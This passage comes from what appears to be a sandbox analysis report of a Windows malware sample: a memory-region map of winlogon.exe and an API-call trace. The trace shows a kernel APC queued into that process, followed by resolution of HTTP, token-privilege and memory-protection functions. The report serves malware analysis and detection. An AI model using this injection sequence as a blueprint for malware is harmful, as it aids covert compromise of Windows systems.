0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 487 start_va = 0xffc30000 end_va = 0xffc91fff entry_point = 0xffc408d8 region_type = mapped_file name = "winlogon.exe" filename = "\\Windows\\System32\\winlogon.exe" Region: id = 488 start_va = 0x7fefff70000 end_va = 0x7fefff70fff entry_point = 0x7fefff70000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" Region: id = 489 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 490 start_va = 0x7fffffd3000 end_va = 0x7fffffd3fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 491 start_va = 0x7fffffde000 end_va = 0x7fffffdffff entry_point = 0x0 region_type = private name = "private_0x000007fffffde000" filename = "" Region: id = 497 start_va = 0x10000 end_va = 0x23fff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 498 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 499 start_va = 0x2e0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 500 start_va = 0x77a30000 end_va = 0x77b4efff entry_point = 0x77a45ea0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" Region: id = 501 start_va = 0x7fefde00000 end_va = 0x7fefde6afff entry_point = 0x7fefde030e0 region_type = mapped_file name = "KernelBase.dll" filename = "\\Windows\\System32\\KernelBase.dll" Region: id = 502 start_va = 0x40000 end_va = 0x4ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 503 start_va = 0x50000 end_va = 0xb6fff entry_point = 0x50000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" Region: id = 504 start_va = 0x150000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 505 start_va = 0x280000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 506 start_va = 0x3e0000 end_va = 0x567fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003e0000" filename = "" Region: id = 507 start_va = 0x77b50000 end_va = 0x77c49fff entry_point = 0x77b6a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" Region: id = 508 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 509 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 510 start_va = 0x7fefdb60000 end_va = 0x7fefdb9cfff entry_point = 0x7fefdb618f4 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" Region: id = 511 start_va = 0x7feff1d0000 end_va = 0x7feff1ddfff entry_point = 0x7feff1d1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" Region: id = 512 start_va = 0x7feff610000 end_va = 0x7feff676fff entry_point = 0x7feff61b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" Region: id = 513 start_va = 0x7feffb70000 end_va = 0x7feffc38fff entry_point = 0x7feffbea874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" Region: id = 514 start_va = 0x7feffc40000 end_va = 0x7feffcdefff entry_point = 0x7feffc425a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" Region: id = 515 start_va = 0x7feffcf0000 end_va = 0x7feffd1dfff entry_point = 0x7feffcf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" Region: id = 516 start_va = 0x7feffd20000 end_va = 0x7feffe4cfff entry_point = 0x7feffd6ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" Region: id = 517 start_va = 0x7feffe50000 end_va = 0x7fefff58fff entry_point = 0x7feffe51064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" Region: id = 533 start_va = 0xc0000 end_va = 0xc6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000c0000" filename = "" Region: id = 534 start_va = 0x250000 end_va = 0x251fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 535 start_va = 0x260000 end_va = 0x260fff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 536 start_va = 0x270000 end_va = 0x270fff entry_point = 0x0 region_type = private name = "private_0x0000000000270000" filename = "" Region: id = 537 start_va = 0x570000 end_va = 0x6f0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000570000" filename = "" Region: id = 538 start_va = 0x700000 end_va = 0xaf2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 539 start_va = 0x7fefdc40000 end_va = 0x7fefdc4efff entry_point = 0x7fefdc41020 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" Region: id = 540 start_va = 0x7fefdc50000 end_va = 0x7fefddb6fff entry_point = 0x7fefdc510c0 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" Region: id = 541 start_va = 0x7fefed00000 end_va = 0x7fefed1efff entry_point = 0x7fefed060e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" Region: id = 542 start_va = 0x7fefed20000 end_va = 0x7fefedfafff entry_point = 0x7fefed40760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" Region: id = 543 start_va = 0x7fefee00000 end_va = 0x7fefef77fff entry_point = 0x7fefee010e0 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" Region: id = 544 start_va = 0x7fefef80000 end_va = 0x7feff0a9fff entry_point = 0x7fefef810d4 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" Region: id = 545 start_va = 0x7feff230000 end_va = 0x7feff306fff entry_point = 0x7feff233274 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" Region: id = 546 start_va = 0x7feff4f0000 end_va = 0x7feff560fff entry_point = 0x7feff501e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" Region: id = 547 start_va = 0x7feff6e0000 end_va = 0x7feff938fff entry_point = 0x7feff6e1340 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" Region: id = 548 start_va = 0x7feff940000 end_va = 0x7feffb42fff entry_point = 0x7feff963330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" Region: id = 549 start_va = 0x7feffb50000 end_va = 0x7feffb66fff entry_point = 0x7feffb51070 region_type = mapped_file name = "imagehlp.dll" filename = "\\Windows\\System32\\imagehlp.dll" Region: id = 550 start_va = 0xc50000 end_va = 0xccffff entry_point = 0x0 region_type = private name = "private_0x0000000000c50000" filename = "" Region: id = 551 start_va = 0x77e20000 end_va = 0x77e26fff entry_point = 0x77e2106c region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" Region: id = 556 start_va = 0xe50000 end_va = 0x111efff entry_point = 0xe50000 region_type = mapped_file name = "SortDefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" Region: id = 1709 start_va = 0x10000 end_va = 0x16fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1710 start_va = 0x20000 end_va = 0x21fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000020000" filename = "" Region: id = 1711 start_va = 0x290000 end_va = 0x2bffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000290000" filename = "" Region: id = 1712 start_va = 0xb00000 end_va = 0xb7ffff entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 1713 start_va = 0xbd0000 end_va = 0xc4ffff entry_point = 0x0 region_type = private name = "private_0x0000000000bd0000" filename = "" Region: id = 1714 start_va = 0xd10000 end_va = 0xd8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000d10000" filename = "" Region: id = 1715 start_va = 0xda0000 end_va = 0xe1ffff entry_point = 0x0 region_type = private name = "private_0x0000000000da0000" filename = "" Region: id = 1716 start_va = 0x1200000 end_va = 0x127ffff entry_point = 0x0 region_type = private name = "private_0x0000000001200000" filename = "" Region: id = 1717 start_va = 0x12a0000 end_va = 0x131ffff entry_point = 0x0 region_type = private name = "private_0x00000000012a0000" filename = "" Region: id = 1718 start_va = 0x1370000 end_va = 0x13effff entry_point = 0x0 region_type = private name = "private_0x0000000001370000" filename = "" Region: id = 1719 start_va = 0x1470000 end_va = 0x14effff entry_point = 0x0 region_type = private name = "private_0x0000000001470000" filename = "" Region: id = 1720 start_va = 0x1510000 end_va = 0x158ffff entry_point = 0x0 region_type = private name = "private_0x0000000001510000" filename = "" Region: id = 1721 start_va = 0x1640000 end_va = 0x16bffff entry_point = 0x0 region_type = private name = "private_0x0000000001640000" filename = "" Region: id = 1722 start_va = 0x1810000 end_va = 0x188ffff entry_point = 0x0 region_type = private name = "private_0x0000000001810000" filename = "" Region: id = 1723 start_va = 0x7fefb730000 end_va = 0x7fefb739fff entry_point = 0x7fefb7344d0 region_type = mapped_file name = "UXInit.dll" filename = "\\Windows\\System32\\UXInit.dll" Region: id = 1724 start_va = 0x7fefdb40000 end_va = 0x7fefdb53fff entry_point = 0x7fefdb410e0 region_type = mapped_file name = "RpcRtRemote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" Region: id = 1725 start_va = 0x7fefdba0000 end_va = 0x7fefdbaefff entry_point = 0x7fefdba19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" Region: id = 1726 start_va = 0x7fffffd6000 end_va = 0x7fffffd7fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd6000" filename = "" Region: id = 1727 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 1728 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 1729 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 1730 start_va = 0x19f0000 end_va = 0x1a6ffff entry_point = 0x0 region_type = private name = "private_0x00000000019f0000" filename = "" Region: id = 1731 start_va = 0x7fefc4c0000 end_va = 0x7fefc515fff entry_point = 0x7fefc4cbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" Region: id = 1732 start_va = 0x16c0000 end_va = 0x17ddfff entry_point = 0x16c0000 region_type = mapped_file name = "aero.msstyles" filename = "\\Windows\\Resources\\Themes\\Aero\\aero.msstyles" Region: id = 1733 start_va = 0x7fefd190000 end_va = 0x7fefd1d6fff entry_point = 0x7fefd191064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" Region: id = 1734 start_va = 0x7fefd490000 end_va = 0x7fefd4a6fff entry_point = 0x7fefd4932b8 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" Region: id = 1735 start_va = 0x7fefda90000 end_va = 0x7fefda9efff entry_point = 0x7fefda91010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" Region: id = 1736 start_va = 0x1a70000 end_va = 0x246ffff entry_point = 0x0 region_type = private name = "private_0x0000000001a70000" filename = "" Region: id = 1737 start_va = 0x7fefbf20000 end_va = 0x7fefc049fff entry_point = 0x7fefbf23810 region_type = mapped_file name = "WindowsCodecs.dll" filename = "\\Windows\\System32\\WindowsCodecs.dll" Region: id = 1748 start_va = 0xc0000 end_va = 0xc0fff entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 1749 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 1750 start_va = 0x2c0000 end_va = 0x2d7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000002c0000" filename = "" Region: id = 1751 start_va = 0x16c0000 end_va = 0x173ffff entry_point = 0x0 region_type = private name = "private_0x00000000016c0000" filename = "" Region: id = 1752 start_va = 0x1890000 end_va = 0x198ffff entry_point = 0x0 region_type = private name = "private_0x0000000001890000" filename = "" Region: id = 1753 start_va = 0x1a70000 end_va = 0x2e6ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001a70000" filename = "" Region: id = 1754 start_va = 0x7fefbd90000 end_va = 0x7fefbda4fff entry_point = 0x7fefbd91050 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" Region: id = 1755 start_va = 0x7fffffd4000 end_va = 0x7fffffd5fff entry_point = 0x0 region_type = private name = "private_0x000007fffffd4000" filename = "" Region: id = 1756 start_va = 0x7fefd5a0000 end_va = 0x7fefd5d1fff entry_point = 0x7fefd5a144c region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" Region: id = 1945 start_va = 0xb90000 end_va = 0xb90fff entry_point = 0x0 region_type = private name = "private_0x0000000000b90000" filename = "" Region: id = 1946 start_va = 0x2e70000 end_va = 0x2f6ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e70000" filename = "" Region: id = 1947 start_va = 0x3030000 end_va = 0x30affff entry_point = 0x0 region_type = private name = "private_0x0000000003030000" filename = "" Region: id = 1948 start_va = 0x31b0000 end_va = 0x322ffff entry_point = 0x0 region_type = private name = "private_0x00000000031b0000" filename = "" Region: id = 1949 start_va = 0x7fefb740000 end_va = 0x7fefb74afff entry_point = 0x7fefb744f8c region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" Region: id = 1950 start_va = 0x7fefbdb0000 end_va = 0x7fefbdbbfff entry_point = 0x7fefbdb18a4 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" Region: id = 1951 start_va = 0x7fefda60000 end_va = 0x7fefda84fff entry_point = 0x7fefda69658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" Region: id = 1952 start_va = 0x7fefb580000 end_va = 0x7fefb597fff entry_point = 0x7fefb581010 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" Thread: id = 69 os_tid = 0x1a0 [0071.820] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Device\\HarddiskVolume1\\Windows\\System32\\winlogon.exe", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.821] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\SystemRoot\\System32\\ntdll.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.840] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\kernel32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 1 [0071.840] IoIs32bitProcess (Irp=0x0) returned 0 [0071.840] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x58) returned 0xfffffa800d9faec0 [0071.910] KeInitializeApc (Apc=0xfffffa800d9faec0, Thread=0xfffffa80034ba910, TargetEnvironment=0x0, KernelRoutine=0xfffffa80027cb10c, RundownRoutine=0x0, NormalRoutine=0x0, Mode=0xffff4a0800000000, Context=0x0) [0071.910] KeInsertQueueApc (Apc=0xfffffa800d9faec0, SystemArgument1=0x0, SystemArgument2=0x0, PriorityBoost=0x0) returned 1 [0071.910] ExFreePoolWithTag (P=0xfffffa800d9faec0, Tag=0x0) [0071.910] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x478) returned 0xfffffa800db40010 [0071.910] IoGetCurrentProcess () returned 0xfffffa80034ba060 [0071.910] PsGetCurrentProcessId () returned 0x19c [0071.911] IoIs32bitProcess (Irp=0x0) returned 0 [0071.911] KeInitializeEvent (in: Event=0xfffffa800db40050, Type=0x0, State=0 | out: Event=0xfffffa800db40050) [0071.911] ExQueueWorkItem (in: WorkItem=0xfffffa800db40010*(List.Flink=0x0, List.Blink=0xfffff80002a5ed30, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800db40010), QueueType=0x1 | out: WorkItem=0xfffffa800db40010*(List.Flink=0x0, List.Blink=0xfffff80002a5ed30, WorkerRoutine=0xfffffa80027cafd8, Parameter=0xfffffa800db40010)) [0071.950] KeWaitForMutexObject () returned 0x0 [0071.950] ExFreePoolWithTag (P=0xfffffa800db40010, Tag=0x0) [0071.951] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\KernelBase.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.957] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\user32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.957] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\gdi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.957] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\lpk.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.959] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\usp10.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.959] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msvcrt.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.968] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\winsta.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.975] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\rpcrt4.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.980] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imm32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0071.981] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msctf.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.649] LoadLibraryExA (lpLibFileName="KERNEL32", hFile=0x0, dwFlags=0x0) returned 0x77a30000 [0072.649] GetProcAddress (hModule=0x77a30000, lpProcName="GetModuleHandleA") returned 0x77a465e0 [0072.649] GetProcAddress (hModule=0x77a30000, lpProcName="GetProcAddress") returned 0x77a53690 [0072.649] LoadLibraryExA (lpLibFileName="ntdll.dll", hFile=0x0, dwFlags=0x0) returned 0x77c50000 [0072.650] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0072.650] LoadLibraryExA (lpLibFileName="WININET.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefef80000 [0072.650] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\wininet.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.650] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\shlwapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.651] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\advapi32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.651] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\sechost.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.652] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\urlmon.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.653] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\ole32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.654] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\oleaut32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.654] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\crypt32.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.655] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\msasn1.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.655] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\iertutil.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.664] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa800bd3cc00, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0xfffff80000000000) returned 0xfffff8800355f000 [0072.664] IdePortDispatch () returned 0x103 [0072.764] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0072.764] LoadLibraryExA (lpLibFileName="SHLWAPI.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff4f0000 [0072.765] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0072.765] LoadLibraryExA (lpLibFileName="imagehlp.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffb50000 [0072.765] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\imagehlp.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.800] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0072.800] LoadLibraryExA (lpLibFileName="PSAPI.DLL", hFile=0x0, dwFlags=0x0) returned 0x77e20000 [0072.800] FsRtlIsNameInExpression (Expression="*\\KERNEL32.DLL", Name="\\Windows\\System32\\psapi.dll", IgnoreCase=1, UpcaseTable=0x0) returned 0 [0072.811] GetProcAddress (hModule=0x77e20000, lpProcName="GetModuleFileNameExA") returned 0x77e21268 [0072.811] LoadLibraryExA (lpLibFileName="ADVAPI32.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefed20000 [0072.812] GetProcAddress (hModule=0x7fefed20000, lpProcName="SetSecurityInfo") returned 0x7fefed28420 [0072.812] LoadLibraryExA (lpLibFileName="USER32.dll", hFile=0x0, dwFlags=0x0) returned 0x77b50000 [0072.812] GetProcAddress (hModule=0x77b50000, lpProcName="ExitWindowsEx") returned 0x77ba14e0 [0072.812] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feff940000 [0072.812] GetProcAddress (hModule=0x7feff940000, lpProcName="CoCreateInstance") returned 0x7feff967490 [0072.815] GetModuleHandleA (lpModuleName="KERNEL32") returned 0x77a30000 [0072.815] GetProcAddress (hModule=0x77a30000, lpProcName="VirtualProtect") returned 0x77a32ef0 [0072.815] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x4, lpflOldProtect=0x14f028 | out: lpflOldProtect=0x14f028*=0x40) returned 1 [0072.815] VirtualProtect (in: lpAddress=0x1016f, dwSize=0x78, flNewProtect=0x40, lpflOldProtect=0x14f028 | out: lpflOldProtect=0x14f028*=0x4) returned 1 [0072.815] GetModuleHandleA (lpModuleName="ntdll.dll") returned 0x77c50000 [0072.815] GetProcAddress (hModule=0x77c50000, lpProcName="_strlwr") returned 0x77cd8fb0 [0072.815] GetProcAddress (hModule=0x77c50000, lpProcName="RtlTimeToSecondsSince1970") returned 0x77c67c30 [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="RtlRandom") returned 0x77cf4a40 [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageDirectoryEntryToData") returned 0x77c80950 [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="RtlImageNtHeader") returned 0x77c7ecb0 [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAllocateVirtualMemory") returned 0x77ca1490 [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="ZwFreeVirtualMemory") returned 0x77ca14f0 [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="sscanf") returned 0x77cda974 [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="_snwprintf") returned 0x77cd8b8c [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="_stricmp") returned 0x77c8c5ec [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="RtlEqualUnicodeString") returned 0x77ca59a0 [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="ZwQuerySystemInformation") returned 0x77ca1670 [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="ZwSetInformationToken") returned 0x77ca2920 [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="ZwDuplicateToken") returned 0x77ca1730 [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="ZwClose") returned 0x77ca1400 [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="ZwAdjustPrivilegesToken") returned 0x77ca1720 [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="ZwOpenProcessToken") returned 0x77ca22d0 [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="strstr") returned 0x77cdac00 [0072.816] GetProcAddress (hModule=0x77c50000, lpProcName="atol") returned 0x77c565ec [0072.817] GetProcAddress (hModule=0x77c50000, lpProcName="sprintf") returned 0x77cda738 [0072.817] GetProcAddress (hModule=0x77c50000, lpProcName="strncat") returned 0x77c9fc40 [0072.817] GetProcAddress (hModule=0x77c50000, lpProcName="strchr") returned 0x77c7c900 [0072.817] GetProcAddress (hModule=0x77c50000, lpProcName="strrchr") returned 0x77cdab0c [0072.817] GetProcAddress (hModule=0x77c50000, lpProcName="ispunct") returned 0x77cd8620 [0072.817] GetProcAddress (hModule=0x77c50000, lpProcName="isalnum") returned 0x77cd8644 [0072.817] GetProcAddress (hModule=0x77c50000, lpProcName="strncpy") returned 0x77c9fec0 [0072.817] GetProcAddress (hModule=0x77c50000, lpProcName="RtlComputeCrc32") returned 0x77c5c7b0 [0072.817] GetProcAddress (hModule=0x77c50000, lpProcName="_snprintf") returned 0x77cd8ae0 [0072.817] GetProcAddress (hModule=0x77c50000, lpProcName="memcmp") returned 0x77c9ea60 [0072.817] GetProcAddress (hModule=0x77c50000, lpProcName="__chkstk") returned 0x77ca0dd0 [0072.817] GetProcAddress (hModule=0x77c50000, lpProcName="strncmp") returned 0x77c9fdf0 [0072.817] GetProcAddress (hModule=0x77c50000, lpProcName="atoi") returned 0x77c565e4 [0072.817] GetProcAddress (hModule=0x77c50000, lpProcName="memset") returned 0x77ca2ed0 [0072.817] GetProcAddress (hModule=0x77c50000, lpProcName="memcpy") returned 0x77c9e6d0 [0072.817] GetModuleHandleA (lpModuleName="WININET.dll") returned 0x7fefef80000 [0072.817] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetReadFile") returned 0x7fefef93914 [0072.817] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpQueryInfoW") returned 0x7fefefb4600 [0072.818] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetSetOptionW") returned 0x7fefef8ff20 [0072.818] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetQueryOptionW") returned 0x7fefefa1ab8 [0072.818] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpSendRequestA") returned 0x7fefefff600 [0072.818] GetProcAddress (hModule=0x7fefef80000, lpProcName="HttpOpenRequestA") returned 0x7fefefb3910 [0072.818] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetConnectA") returned 0x7fefefb3130 [0072.818] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetOpenA") returned 0x7fefef99098 [0072.818] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCloseHandle") returned 0x7fefef95594 [0072.818] GetProcAddress (hModule=0x7fefef80000, lpProcName="InternetCrackUrlA") returned 0x7fefefe0b4c [0072.818] GetModuleHandleA (lpModuleName="SHLWAPI.dll") returned 0x7feff4f0000 [0072.818] GetProcAddress (hModule=0x7feff4f0000, lpProcName="StrStrIA") returned 0x7feff4f5a1c [0072.818] GetProcAddress (hModule=0x7feff4f0000, lpProcName="SHGetValueA") returned 0x7feff4f4e50 [0072.818] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindFileNameA") returned 0x7feff4f86c4 [0072.818] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveBackslashA") returned 0x7feff519e70 [0072.818] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFindExtensionA") returned 0x7feff51b358 [0072.818] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathFileExistsA") returned 0x7feff51b4d4 [0072.818] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathAppendA") returned 0x7feff4f5710 [0072.818] GetProcAddress (hModule=0x7feff4f0000, lpProcName="PathRemoveFileSpecA") returned 0x7feff51bbb4 [0072.818] GetModuleHandleA (lpModuleName="imagehlp.dll") returned 0x7feffb50000 [0072.819] GetProcAddress (hModule=0x7feffb50000, lpProcName="MapFileAndCheckSumA") returned 0x7feffb556ec [0072.819] GetModuleHandleA 